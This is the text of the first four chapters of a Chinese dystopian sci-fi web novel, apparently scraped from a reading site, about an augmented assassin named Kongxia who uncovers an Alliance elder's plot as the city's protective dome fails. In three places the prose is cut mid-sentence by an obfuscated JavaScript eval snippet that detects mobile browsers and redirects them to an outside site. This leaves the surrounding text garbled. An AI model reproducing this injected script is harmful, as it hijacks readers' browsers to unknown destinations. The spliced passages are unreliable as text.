《控夏[GB]》 1. 第 1 章 雨在下大。 这是新地百年一遇的大雨,下了整整一天一夜,往日清晰分割的城市被笼罩在一层雾气弥漫下,朦胧又暗藏危机。 不远处的“暗鸦”停得很隐蔽,从会所旁边的暗门出来一群人,护着黑色长发的男人上去。 落地不足两分钟,很快启动抬高,隐到云层里。 雨还在下。 控夏收回电子望远器,从云层涌动的走势猜测“暗鸦”的方向。 她抹掉脸上的雨水,转身下楼。 这里是新地有名的贫民区,跟外面七彩绚烂的大厦比,这里显得破旧许多,街边小店依然用着旧世纪常见的灯管,只是年岁有些久,常常失灵。 路上随处可见的垃圾,被风卷走,又停在几步远的地方,被流浪者骂骂咧咧的踢开。 没人要的小孩扔在垃圾堆里,靠吃垃圾长大,如果哪一天消失不见,同伴就会知道,“黑猎手”又出现了,不过知道也无济于事,只能继续惶恐地生活下去,祈祷“黑猎手”不要抓到自己。 因为被抓到的小孩会售卖给底下黑实验室,用来做实验体,听说很惨。 在这个人均机械骨的时代,作为一个完完整整的“人”存在,本身就是危险。 控夏按住手腕处隐蔽按钮,对四面八方传来的视线熟视无睹,那一双双眼睛里都透露出浓重的贪欲,恨不得将她撕碎。 她的机车放在一条小巷子里。 顶上年久失修的路灯早已罢工,夜色浓重,看不清路,控夏却不在意,长靴很急很快地敲打在地面上,溅起腥臭水花,然后停住。 身后响起毫不掩饰的急促脚步声。 簌—— 破风声响起,带着极大的力道挥向控夏的后脑勺。 “去死吧你!” 控夏微微一扭身,五指钳住那人的脖颈,一用力,男人身子软倒。 金属棒堪堪停在她眼前,然后“唰”地掉在地上,咕噜噜滚到一边,在倾盆大雨里销声匿迹。 急湍水流卷走血迹,没有留下任何痕迹。 另一个男人早就连滚带爬地逃走。 控夏皱眉,抬手看时间,然后长腿跨上机车,压着男人的尸体疾驰出去。 联盟大楼315层。 银色长发的中年男人蓄着胡须,把手上的档案推到控夏面前。 “沈礼聿,杀了他。” 档案上的照片赫然是方才上了“黑鸦”的男人。 控夏神色如常,快速扫过一眼后就将其烧毁。 “还有其他事?”她问。 中年男人背着手,摸了摸胡须,居高临下问:“你又剪了头发?” 控夏默然,男人轻蔑地笑,十分傲慢:“不要再继续剪。只有贫民才会一直保持短发,完成任务回来后记得去实验室,我给你预约了基因项目,你的黑发太刺眼了。” “银发才是最纯洁高贵的发色。” “不了。”控夏淡淡道,“取消吧,我很喜欢黑发。” 男人脸色一下变得难看,瞬息后又恢复,状似无奈,“你总是这样。” 控夏不置可否,冲他点头,然后转身离开。 凌晨时雨停了一会,雾气依旧笼罩在这座城市上方,从贫民区低矮的楼房看去,平常就被云层遮挡三分之二的联盟大楼此时又被遮去一半,更显神秘起来。 控夏从天台翻到7层,在密封的窗台边缘钉下一枚圆钉似的物件,按下启动器。 圆钉分开变成两枚半月形的产物,朝两边分别行走,隐秘无声地将墙壁割开,最后合并收回。 那块分割出来的墙壁掉到楼下,摔得粉碎。 这里就是沈礼聿的住处。 墙壁外和墙壁内壁垒分明,老旧的外墙完全看不出里面是如此金碧辉煌。 控夏悄无声息地摸进去,骤然眼前一白,没了知觉。 “控夏小姐。” 控夏一醒来就听见这样的称呼。 她翻过身,下意识活动筋骨,手却依旧被绑着。 身下传来柔软的触感,控夏小幅度的转动眼珠,看清自己的位置。 ——在床上。 又或者说,在沈礼聿的床上。 “……控夏。” 声音是从耳边传来的,比之前那声更近一点。 控夏转头看去。 白净的脸上缀着两颗杏子似的大眼睛,半睁着,眼瞳和黑发交相呼应,有一种清纯又我见犹怜的气质。 看起来不像是联盟里第一个平民长官,不过很眼熟。 跟什么相似呢……控夏费劲地回想,终于想起来,高级会所的小白脸。 控夏第一次这么仔细地看这张脸,她总算明白,为什么沈礼聿绯闻漫天飞,原来是这张脸惹的祸。 也难怪每次开会时那群老头子那么针对他,看来除了身份之外,还有嫉妒的因素在。 银白长发也救不了他们的脸。 可惜,他一定会死。 “沈长官。” 哪怕行动受制于人,控夏也淡着一张脸,还对他轻轻颔首,十分有礼貌。 控夏观察到他的眉毛小幅度地往上挑了挑。 下一秒,沈礼聿张口,问:“你认识我?” “这很奇怪吗?”控夏疑惑地歪歪头,“我又不是什么只知道杀.人的机器人,更何况,沈长官在联盟里颇负美名,不知道才奇怪吧。” 沈礼聿显然明白,控夏口中的“美名”代表什么,十分轻巧地跳了话题,“谁让你来杀我的,不对。” 他摇摇头,“你只听一个人的话。” “那我换个问题,”沈礼聿好整以暇地问,“你是故意的吗?” “故意中招。” 控夏在他话音刚落下时,以迅雷不及掩耳之势翻身欺压上去,小臂顶着他的脖颈,用了力,不一会,沈礼聿的脸变得通红起来。 沈礼聿用力抓紧手下布料,克制住自己想要挣扎的冲动。 他就知道,对方果然是装的。 “咳……”沈礼聿在喘气的间隙吐出只言片语,“我……我是想,跟你,说……” 控夏松了手劲,让他能够说连贯。 “你没有发现有什么异常吗?在这座城市里。” 控夏歪歪头,及颊的黑色短发垂落,些许扫在沈礼聿脸上。 沈礼聿脸色更红,却没有在意这个。 “垃圾场没有小孩的身影了。” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108714|164017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又怎么样?”控夏嗤笑一声,手上力气加大,“这就是你刻意露了破绽,还给我注射药剂的原因?” “未免太愚蠢。” “咳咳,咳咳!”沈礼聿双手举起,作投降状。 “我说正经的。” 他直直对上控夏的眼,“……你知道联盟的50E计划吗?” 拇指无意识地摩挲他脖颈侧边,鼓动的血管一跳一跳,控夏险些就要用力了。 她收回心神,疑问一声:“哦?” “联盟最高层的秘密计划——通过养育非常怪物,以达到减少城内半数人的目的。” 自从末日来临,城外所有土地和海洋都被污染,不能居住,所以城内居住的就是当初最后一批人类。 也才10万人左右。 这座城市堪堪运转15年,还在发育的时间,尚未成熟。 静谧。 沈礼聿心跳突突的,下意识偏了眼。 “……一派胡言。”控夏冷淡道,“当初你是因为什么被救起来的,这么快就忘了么?” 说罢,她耐心耗尽,手掌盖住他的眼睛,右手稍稍往旁边一扭。 男人脖颈处发出一声微妙的闷响,没了声息。 控夏移开手掌,那下面盖着的一双眼正死死盯着她。 她内心毫无波澜,草草扫过他的眼皮,总算瞑目。 - “他死了?”银发的中年男人问。 控夏点头,并不想在这里多待。 看中年男人并没有多言的意思,她不再等待,脚步一错就要走。 “——等等。” “怎么,还有谁要杀。”控夏没有转头。 后面迟迟未传来声响,她不耐地转身。 “那个平民死之前……算了。” 控夏看着银发男人捏捏眉心,朝她挥挥手,“你走吧。” 沈礼聿意外死亡的消息在这座不大的城市里被反复提起。 有人说他得罪了联盟高层,是被寻仇的;有人反驳说他是联盟里唯一一个平民长官,死了只会引起贫民动荡,所以不可能是联盟高层下的手;也有人煞有其事的说他是被吊灯砸死的,血溅了满天花板,好像亲眼看见似的。 控夏站在窗边,俯瞰底下算得上浩大的队伍。 他们举着报道上沈礼聿死状的照片,在寂静的街上缓慢前行。 《玫瑰法案》规定,非特殊时期,不允许任何人在公共场合发出超过三十分贝的声音。 控夏被队伍边缘吸引了视线,在靠近下水道的地方。 不知道是不是错觉,总觉得那处的人群变得很疏松,在……慢慢减少。 啊! 惊叫尚未出口,人已经在控夏眼前消失。 控夏皱眉,眼神一错不错的盯着那处。 怎么回事? 她直接从窗前翻身下去,贴着墙根顺到下水道前。 人群早就离开了这里,却也没留下什么踪迹。 就连刚才消失的人也没有痕迹。 控夏蹲下,带着黑色皮质手套的手轻抚地面,是一片湿润。 现在仍然下着雨,雨丝流着风的方向,一滴一滴融入臭水沟里,不起波澜。 2. 第 2 章 控夏站起身,朝大部队离开的方向看去。 这次游行显然没有任何用处,这几天高层们都行色匆匆,但却不是为了这件事。 “未受污染的区域在缩小?!”坐在长桌末尾的老人拍桌而起。 首位的银发男人压压手,示意他坐下。 “事实是这样没错,但不代表现在情况不乐观。”他扫视一圈,微笑道:“‘天懿号’运作了十年,期间没有出过任何差错,已经超出我们的意料。” “昨天探测出异常后,相关工程师已经纷纷赶往运作中心检查了。相信很快就能得出结果。” 天懿号是十五年前科学家紧急制作的机器,目的是防止外面有害污染侵入城市,却又可以透过阳光、干净的水源和清新的空气。 相当于一个巨大的过滤器,把整座城市盖在保护层内。 如果没有天懿号的存在,人类早已覆灭。 他的话太场面化,知情者和不知情者纷纷低声讨论起来。 “之前说的不是这样的啊……不是说‘天懿号’保守估计可以撑20年吗?” “是啊,现在又是怎么回事?” 突然一片静默,然后他们异口同声: “你也知道?!” 桌上人不约而同都“诶”了一声,语气震惊。 收声后,眼神纷纷往主位坐着的男人飘去。 他倒是坐得稳! 底下人在心里狠狠咒骂,面上却淡定。 大家面面相觑,终于有人开口:“瞿老,是这样的。我们听了一些传闻……” 还没说完,就被瞿仪宗打断,“传闻不可信,一切还是要以运作中心得出的结果为准。” 他微笑着看那人,那人抬起袖子擦擦汗,连点几下头后深深埋下,不敢面对他的目光。 “好了,就这样吧,没什么其他事就可以散了。”瞿仪宗摸了一把胡子,按照惯例扫视一圈,最后目光停留在控夏身上。 见她没有反应,于是第一个起身,出去了。 - 会议结束后,瞿仪宗转身回了自己办公室,剩下人三三两两结伴离开。 “什么蠢货?!传闻私底下说说就好了,还非要戳到瞿老面前去,这不是平白无故惹人发笑吗?!” “我倒不觉得是传闻。”另一人气定神闲,还有时间去撩花。 刚开始说话那人脸周围长了一圈胡子,他气极,拍掉撩花人的手,“你信那人的话?!我就不该和你们同流合污,省得现在坐立难安。” “信啊,为什么不信?”撩花不成,他改去揪草,蹲下来身子矮了一截,声音却依旧慢慢的,“虽说沈礼聿不站在我们这边,但他的立场你也看得明白,一心只为那些贫民提高权益,他没有必要骗我们。” “况且,他的死不正好证明了真假。” 话点到为止,但能坐上高层的人都不是吃素的家伙,自动参透了下一句。 “你是说……”一圈长胡子瞪大眼,扶着枝干蹲下来,小声道:“人是瞿老派去杀的?” 撩花那人不说话。 长胡子自顾自地言语,“只能是那位去杀的” “嘘!”原本气定神闲的人在听到这句话后,反而紧张起来,“你小心让她听见。” “这有什么?” 大胡子索性恢复了正常声音,十分不满:“凭什么啊?!你跟我说说,你们到底是在怕什么?那不就一个娘们吗!顶多会杀点人,我就不信她是靠正经渠道杀的。” 他还想再说,被面前惊恐的人捂住嘴巴:“你想死别带上我!我给你一句劝,这种话只能说一次,好言不劝该死的鬼,你要是不听,那我也没有办法了。” 他说着松开手,不着痕迹甩了两下,然后后退两步:“到此为止吧,我也不知道更多了。” 大胡子伸出手,“诶”了一声。 撩花那人转身快走,又突然停顿了,慢慢扭过上半身,低声道:“关于那位……我给你指条明路吧。” 大胡子听见他说:“你去查查十年前那场法案。” 说完干脆转身,离开了。 “……查就查!”大胡子站在原地,愤然道。 “我倒要看看她是什么神仙……” - 控夏抬手敲门,没有得到回应,直接调出最高级别验证。 “哔。验证已通过。” 大门缓慢撑开。 室内一片漆黑,瞿仪宗并没有在座位上。 控夏金属银色的双眼机动地扫过整片房间,没有察觉到异常。 她定定看着眼前那张椅子,面无表情。 转身的动作带出叮当声响,掩盖住瞿仪宗踩在地毯上的脚步声。 “——你怎么进来的?!”瞿仪宗怒气冲冲。 控夏说:“我怎么进来的……?你似乎忘了,这里原本属于谁。” 听到这句话,面前人脸色青一阵白一阵,似乎有些尴尬。 但控夏来这里不是为了和他争夺这些,她抬眼,然后问:“我想知道,杀沈礼聿的理由。” 科技发展到这种程度,许多卷宗已经在使用数据记载。 大胡子站在卷宗室深处,低着头列出关键词。 卷宗室已经尘封太久,至少有两年没有人再走进来过。 阳光稀疏打进来,尘埃满室。 大胡字脸靠得极近,一点一点往下滑。 最先跳出来的不是文字,而是一张冲击性极大的图片。 大胡子瞳孔微缩。 “这是……!”后面的话像被钳子掐住,一下没了尾音。 他往下翻。 “城市英雄李明越在家中离奇死亡!”加大加粗的标题下是密密麻麻的小字,大胡子凑得更近些,一字一句的阅读过去。 科技发展的太快,即使辅助阅读的机器早被发明出来,一众老人终究不习惯,只依赖于更传统的阅读方式。 尽管大胡子才四十出头。 传统阅读方式有个弊端:一旦认真,那就无法再把注意力分散到其他地方去。 这就导致惨剧的发生。 所以,当大胡子看见卷宗上出现人脸的倒影时。 一切都晚了。 “啊——!” 大胡子死亡的消息传得很迅速,几乎在一瞬间就传遍了整个高层。 控夏手腕上的传达器‘哔哔’作响,她无所谓地按灭了,踏步进电梯,又来到她上午才离开的地方。 瞿仪宗早就端不住长 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大概是被逼急了,瞿仪宗急急上前几步,浑浊的眼珠子一动不动盯着她看。 “是不是他跟你说了什么?!你说!是不是!” 控夏跟他平视,面无表情,却不出声。 看见瞿仪宗额头上有大颗冷汗掉下,她才大发慈悲一般,轻轻笑了笑。 “您别担心。”她说。 听到她这句话,瞿仪宗好像一下子卸了力。 他脸颊抽动,牙齿止不住颤抖,却又扬起微笑,像是在克服深入骨髓的恐惧感。 控夏嘴角拉平,情绪毫无起伏地盯着他面部表情,终于皱了皱眉。 - 从最高层往下看去,其实是看不见什么的。 控夏更喜欢低一些的楼层,可以很清楚看见一些上面的人看不见的东西。 比如地下黑市。 连续下了几天的雨,黑市生意惨淡。 不少老板都隐藏在小小的门后,用尖利的双眼探查来客,一旦有利可图,就如同豺狼一般扑食而上。 但控夏不是这样的目标,所以在她走到最深处时,都没有人敢上来打搅她。 “老板。”她坐下,冲里面喊,“来杯酒。” 里面很快传来袅袅婷婷的声音,十分甜腻,“小姐!您又来了。老娘这就帮你做,您稍等哈!” 没有等多久,她端着木盘,黑色的一杯液体上还像模像样插着一片薄荷叶,看起来好看极了。 控夏把薄荷叶挑出来,放回餐盘。 ——那只是个装饰物,并不能入口,还被老板多次循环使用。 她吸了一口,抬眼看过去,还没开口,余光捕捉到老板身后的帘子动了动。 “那是谁?”控夏随口问。 老板很热情,“刚找的小帮厨,人比较害羞。” 控夏点点头,刚要说话,看见那帘子又动了动。 有猫腻。 手边刚好有个金属立牌,控夏控制住力道,像扔飞镖一样,直直朝那边飞过去。 3. 第 3 章 金属撞上木门,然后‘铮’地一声掉在地上。 帘子剧烈晃悠两下,没了声响。 “您别生气,我去后厨教训教训他!”老板看她脸色,扭身进去。 不一会儿,里面传来打骂声,声音极大,但只有老板一个人的声音。 控夏突然有些后悔动手了。 她仰头喝完,把杯子放回木盘,趁着老板还没出来,离开了这里。 “联盟杀人了。”控夏听见有人说。 她停下脚步,站定在一条巷子里,听见这样的声音越来越多。 “真的杀人了。” “血流了满地,不知道哪里来的鸽子停在地面上,像是在啄尸体。” “这样……”有人叹息。 急冲冲的声音突然撞进来,“杨教授也去了吧?上街游行的人全死了?” “杨教授?……杨教授他去了!全死了?全死了哈哈哈哈哈!” 控夏抬头看去,方才死气沉沉的人好像活了一般,面部狰狞,抓着面前人不停地晃。 杨教授是谁? 控夏抬脚,朝他们那边去。 可惜还没走出巷子,就听见更多细碎的脚步声往这边过来。 “找到了!”抬头停下的穿着保卫军服饰的人大声喊。 不妙。 控夏看见那个人把手掌翻向上,激光迅速弹射出来。 她有预感,这些人很快就要被灭口。 越来越多人从不远处狭窄的出口进来,几乎穿着和第一人一模一样的装扮—— “啊——”散着微微红光的棍状武器从后心处穿透,血液几乎在一瞬间飚射出来。 方才还大喊着“杨教授”的活人,现在已经失去生气,‘砰’地倒在地面上,扬起一阵尘土。 被他抓着的那人,早就吓得不敢动弹。 拿着激光剑的护卫军像砍瓜切菜一样,一挥手,前面手无缚鸡之力的人一下变成两半,肠子从腹腔处掉出来,流满地。 “看看有没有漏网之鱼。” 控夏也在找有没有漏网之鱼。 她往后退了几步,银色的眼睛四处巡视。 直到脚后跟传来阻力。 她心下一惊,还没看清是什么就直冲对方脖颈去。 ……太轻了。 控夏这才看清自己手上抓的人。 是一个小女孩,双手费力扒拉自己脖子上的那只手,但几乎不起作用。 她大张着嘴,发不出声音,想要借此呼吸。 控夏手稍微松动了一点,小女孩立马发出“咳咳”的咳嗽声。 “谁在那里?!”靠近墙角的护卫军听到声响,立刻大声喝道。 他拿着自己的武器,一步一步缓慢地向前推进,浑身上下紧绷着。 小巷子里却没有任何人的踪影。 “安静。”控夏抱着小女孩,右手扣在她的后脑勺上,强制让她的头趴在自己肩上。 这两个字对小女孩根本不起作用,对方仍然哭得上气不接下气,好几次,控夏几乎都要怀疑她喘不过气了。 再次回到底下黑市,控夏却不像上次那样闲庭漫步,而是脚步飞快。 小女孩细弱的哭声太容易吸引注意,控夏能感受到,身上有很多黏腻又恶心的目光跟随着。 ——他们在计算价值。 天生病弱的人发不出这样有生命力的哭声,哪怕小女孩已经哭得声音沙哑。 如果把小女孩偷走、或者抢走,一定能得到很多钱。 只是这些钱值不值得他们冒险呢? 老板也在想这个问题。 她的眼睛几乎黏在小女孩身上了,虽然知道面前的人自己得罪不起,还是无法控制自己离开她的躯体。 好健康的“人”啊。 老板想。 不过只能想想,面前女人的手段她可是见过的。 控夏把小女孩从身上撕下来,放到老板手里。 忽略掉老板脸上僵硬的笑容,她拍拍小女孩的脸,轻声问:“你叫什么名字。” 这会她倒是听话了,打着哭嗝小声说:“小、小秋。” “好,小球。”控夏虽然奇怪为什么是小球,但也没在意,只是叮嘱道:“姐姐过几天来看你,你先跟这个阿姨待几天,不要乱跑。” 小秋点点头。 跟小孩沟通完,该跟大人沟通了。 控夏对老板就不再那么温柔,恢复了以往的面色冷淡,说出的话却是沉甸甸的——对于老板来说。 “小姐,这,这也不是我不想帮你,只是你也知道,附近都是什么牛鬼蛇神,靠我一个人根本没法护着她。”老板愁眉苦脸道。 她说的是事实,控夏还没走,已经注意到不远处鬼鬼祟祟的一群人。他们怕是早就商量好了,怎么瓜分这个人类。 “像你保护这个小男孩一样保护她就行。”控夏下巴朝她身后扬了扬。 老板一呆,抱着小女孩微微转身,果然看见她身后站着小男孩。 她脸色立马变了,朝他大吼道:“你出来做什么?!!给老娘滚进去!” 小男孩被她吼得下意识后退一步,又看了控夏一眼,跑进后厨。 老板重新转过脸来,对着控夏,面色十分为难,“我实在没有这个能力……” 控夏从手腕的手环上调出交易界面,输入数字后亮给她,“够吗?” 老板:“啊……” 犹豫就是还不够。 控夏反手加上一个0. “够了够了!”老板笑得灿烂,“您什么时候来接她?” “不确定。”控夏收回手,目光短暂停留在小秋脸上,“注意保护好她的安全。” “一定让您满意。”女人脸上挂着笑容,态度转变极快,对待小女孩好像自己的亲生孩子一样,抱着哄着。 控夏不置可否,走之前冷冷瞥了周围几眼。 收到警告的眼神,那附近早早等待的人纷纷一哄而散,还有人不肯走,被害怕殃及池鱼的人一起拖走了。 “我走了。”说完,也不管小秋有没有听到,她一转身就离开到十米外去。 外面的场景比想象中还要惨烈。 城市中央的广场往日最为洁净,现在却鲜血横流,还有不知名的、像是白鸽类的物体停留在尸体上,脑袋一动一动,速度极快地雕琢着,从远处看去,颇为壮观。 控夏越过血泊和尸体,裹着皮质手套的手抓起来一只。 小白鸽子咕叽咕叽喊,身上的白毛沾染上血迹,黄喙上也猩红点点。 控夏看看它,视线转移到方才它停留的尸体上。 心口处已经出现了一个小坑,血液聚集在里面,在阳光照射下格外刺眼。 她面无表情的捏死这只鸽子,拎着它慢慢穿过中心广场。 离得近的鸽子被惊到,一下腾空,盘旋在她头上。 被带上去的血液到处飞溅,像下了一场雨。 太阳被乌云遮挡住了。 联盟大楼底下挖了15层,其中一层是生物实验室。 控夏利用权限打开实验室大门,叫醒门口的看守大爷。 “人呢?” 实验室里面是黑的,很显然,里面一个人都没有。 看守大爷还没完全醒,凭着直觉回答:“……都走了,啊。” “什么时候?” “什么时候……一个月前啦。”大爷跟醉汉一样,大着舌头道:“说是上面来的指令,这处派不上用场,联盟经费不多,养不起,都遣散走啦。” 明明一个月前还红红火火的,真是物是人非。 唉。 控夏目光向下移,果不其然,在他脚边看见放得七倒八歪的酒瓶。 她问:“你知道他们在哪里吗?” “都找回来。”控夏平视他,双眼在灯下闪着光。 平静的语气里好像隐藏极大的怒火,吓得大爷打了个嗝。 他终于清醒了,自上而下打量着眼前的人,不知道她是怎么进来的。 极致的安静中,大爷看看她,又探头看看后面的门,终于明白眼前的女人貌似位高权重,扬起笑道:“是,长官,我肯定全给你找回来!” 控夏皱眉,瞥了他一眼后自顾自往里面走。 她打开灯,环视一圈,里面的仪器果然还在。 从角落里找到隔离柜,她粗暴地打开,把死掉的鸽子扔进去。 “长、长官,我是现在就去,还是、还是明天?” 控夏转头,冷漠道:“现在就去。” 皮靴有节奏敲打地面,往日嘈杂的联盟大楼里居然也有安静的时候。 叮。 电梯门打开,里面空无一人。 控夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女人拿开这张纸,下一张显然是运作中心给出的解决方案。 瞿仪宗抬手,制止住她继续说的举动。 “什么都不做呢?能坚持多久?”他问。 女人皱皱眉,并不喜欢这个问题。 但她还是回答:“五年。但两年内城内适宜生存人数不超过7万人。” “好,好。”瞿仪宗不住地点头,夸奖道:“你们做得很好。” “瞿老?”女人察觉到异样,不自觉喊了一声。 对方并不理她。 “回去吧,我会嘉奖你们的。”瞿仪宗将桌上散乱的纸张收起来,放到旁边的碎纸机里。 女人看着他的动作,佯装听不懂他的言下之意,迅速道:“那我回去跟她们商量商量……尽快把方案落实。” 瞿仪宗动作一顿,阴恻恻的盯着她。 “不需要你多事。”他不客气道,“你只管做好你该做的。” 女人不甘心地离开。 满室静谧。 控夏听见有轮子滚动的声音,眼珠机动性的朝那边转过去。 “……意识一直很清醒,刚刚才睡下去。”她听见有人说。 “好。你回去吧,辛苦你了。” 细碎的脚步声离开,开门掀起一股极小的气流声,随着门关上的动作又消失。 轮子滚动的声音越来越近,然后停在一个很近的距离。 “你醒了?” 控夏不答,指尖动了动。 不知道先前那人给她注射了什么药剂,让她暂时失去行动能力,还昏睡了一会。 先是指尖,然后手腕,再然后…… 控夏左右转转脖子,手用力一撑,坐直起来。 她转头对着说话那人,表情并不意外。 “是你救了我。” 沈礼聿无声扬起笑脸,说:“你不也救了我很多次?” 他说:“还得感谢你……上次手下留情。” 控夏并不认可,“不论我有没有留情,你最后都会醒过来的。” 她勾起一个笑:“不是吗?” 4. 第 4 章 沈礼聿盯了她半晌,最后还是浅浅笑了笑:“你说得对。” “我很好奇你是怎么活过来的。”控夏指了指自己的脖颈。 沈礼聿:“新药剂,外加鬼斧神工的缝合术。” 他几乎不眨眼,眼珠跟随控夏的举动移动。 “你要去哪?”他问。 控夏侧身,抓住门把手,同时回答他,“找人。” - 又在下雨。 外面的天几乎黑透了,不知道是因为什么,往常一片亮堂的联盟大楼现下都是黑漆漆一片,像个怪物。 不过这正好方便控夏行动。 她冒着雨穿过一条条暗耸的小巷,最后停在地下黑市的入口。 然后抬脚走进去。 大约是时间太晚的缘故,白天里张罗的店铺都关了门。 她悄无声息走到一家隐蔽的铺子前,三两下把门打开,转身进去。 叩叩。 没人应声。 叩叩。 控夏侧身一避,躲开了武器攻击。 里面没有开灯,但是弥漫的空气传来了紧绷感。 “是我。”控夏轻声道。 可惜这一声并没有换来什么,然而迎来了一记更重的攻击。 控夏闪进去,在黑暗中准确找到了对方拿着武器的手,然后反手卸了她的手腕。 对方传来一声惨叫,没了声音后,控夏说:“开灯。” “好好。”老板声音带着恐惧。 控夏顺势倚在墙边。 灯开了,有些昏暗,但能勉强看清对面的人。 她抬眼看过去,只看见老板一个。 “小球呢?”她问。 “是、是你啊?!”老板的声音很惊喜。 她一瘸一拐地往前走两步,控夏看见她身后两个小人站出来。 控夏先是从头到尾打量了小秋一遍,见她没有什么事,才扭头关心老板。 对方显然受了伤,她刚刚那一下让对方身上的伤又多了一点。 “发生了什么?”她走过去,帮老板把手腕接回来。 “我也不知道……”老板龇牙咧嘴地揉着手腕,“下午你刚走没几个小时,突然就来了很多人,什么也不说,直奔这我这里来了。” “幸好我察觉到不对劲,提前让那两个小鬼头藏起来,那帮人进来搜也搜不出什么,灰溜溜走了。” 控夏听完,又问:“那你身上的伤是怎么来的?” “这个啊?”老板一挥手,显然很自豪,“我跟他们斗了一把,他们一个人打不过我就合伙把我绑到一边,我不小心擦到的。” “我正打算把招牌装上这个呢……”她从背后悄悄拿出来一个牌子。 控夏定睛一看,那上面刻着:守卫军严选,好喝不贵! 字还挺好看。 她不着痕迹勾勾唇角,不再提起。 “姐姐。”小秋站在她面前,抬起头,眨眼时睫毛扑闪着。 控夏矮身,捏了一把她的脸。 “你认识杨教授吗?”她问小秋。 “杨教授?”小秋扬起一个大大的笑脸,“我认识!隔壁家的老爷爷,经常给我糖吃。” 控夏:“那你知道他是做什么的吗?” “好像……爷爷嘴里老是说着什么……生物……” 生物? 控夏明了,拍拍她的脸,不再说话。 小秋问她:“姐姐,我可以回家了吗?” “回家?”控夏挑眉,看向老板:“没有那么快,你再在这里待会,有时间姐姐会送你回家的。” “好。”小秋点点头。 控夏不想再应付她,催她去睡觉。 小男孩和小秋都被赶去睡觉,只剩下控夏和女人在那里。 控夏抱胸,朝她挑眉,“你跟她说了什么?” 不然小秋怎么会说出回家这种话。 “她哭得厉害,我哄了哄她,没想到她还记得。”老板忽然拘谨起来。 “算了。”控夏说,“她还得再在你这里呆几天。回家是肯定回不了了,看看我能不能找到地方安置她。” “好。”老板点头,“——你是不是惹上了什么麻烦?” 控夏皱眉,疑惑地看着她。 老板指了指自己身上的衣服,控夏意会,低头。 虽然做好了心理准备,但是在看见的一瞬间,控夏还是震惊了。 ……她差点忘了昏睡前经历过一场爆炸,就这么来了。 刚刚应该没吓到小球吧? 现在担心这个已经晚了,控夏掸了掸衣服上的灰尘,故作冷静道:“你不用关心这个。” 出来时外面仍在下雨,控夏叹了口气,撑开手上的伞,缓缓步入雨幕中。 她踩过流水和垃圾,往中央广场去。 中央广场只开了一盏大灯,边缘只照能分到一点光。 如果不是当时签下的协议中,有这颗灯一定要开着的要求,控夏想,这座唯一尚存的城市会陷入和周边一样的黑暗里。 瞿仪宗——他到底在急什么? 不过现下有更急的事。 控夏扫视一圈,原先安排在中央广场周围的护卫军毫无踪影,都被撤走了。 看来天懿号确实出问题了,她若有所思的想。 下午的惨状早就不复踪影,满地鲜血也顺着雨水往外扩散,流进下水道。 “咕咕。” 控夏被这声唤醒思绪,刚抬眼,就看见一只被微微打湿的白鸽冲进伞下。 它颇通人性,进来后就擅自停在控夏肩上,扭头梳理自己的羽毛。 既然没有攻击人的意向,控夏也就没理它。 她在雨中站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108717|164017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了许久,然后拖着湿透的裤脚离开。 顺着记忆中的路回到不起眼的小屋,控夏在门前收了伞,放在旁边。 她毫不犹豫,抬手敲门。 很快,屋里传来细微的动作声,门从里面打开一条缝,沈礼聿的脸出现在后面。 “回来了。”他语气毫无起伏道。 控夏进去,顺手合上门,对着他的背影说。 “我们谈谈。” 对方动作显然凝滞一下,一秒后才慢慢转过轮椅,脸隐在阴影中。 控夏知道他在盯着自己。 她淡声道:“你应该知道瞿仪宗的目的是什么。我们合作。” 沈礼聿没有作声,从旁边拿过一盒火柴,轻轻一擦,微弱的火光照亮了一块他的脸。 火光一路移动,然后转移到另一个物体上,变大一些。 那是蜡烛。 蜡烛照亮的范围显然大得多,起码控夏可以看得清沈礼聿的表情了。 虽然对方毫无表情。 她却不急,余光眺见旁边一把破旧木椅,径自拉过来坐下了。 她在等沈礼聿表态。 漫长的寂静过去,沈礼聿终于迟迟开口道:“为什么现在又突然相信我?” “这一周发生的所有事,都足以证明你说的话可信。”控夏目光蓦然飘向他身旁燃烧的蜡烛。 “你醒过来已经有两天了吧?”她问。 沈礼聿满脸惊异,“你怎么知道?” “你还知道瞿仪宗早就打算把我置于死地,但是你醒了却没有阻止,而是爆炸发生了才出面救我。” 沈礼聿抿了抿嘴唇,目光低垂,落在地面上。 其实他这时候和一周前长得已经不太一样了,控夏觉得。 之前认为他长得像会所里的小白脸,是她眼瞎,明明气质完全截然相反。 现在更像一棵傲然挺立的小白杨……虽然控夏对他站着的样子没有印象。 但是下午醒时,第一眼看到他,她就莫名想起了小学时学的这篇课文。 “所以。”控夏面无表情,“我猜你的势力不足以渗透进联盟高层,哪怕对这两天发生的事情再了解也束手无策,只能在爆炸发生后,这种暂时混乱的时间里动手。” 沈礼聿抬手捂了下嘴角,“……你全猜对了。” “你的答案呢?”控夏摊手。 “梦寐……咳,我是说,合作愉快。”沈礼聿说。 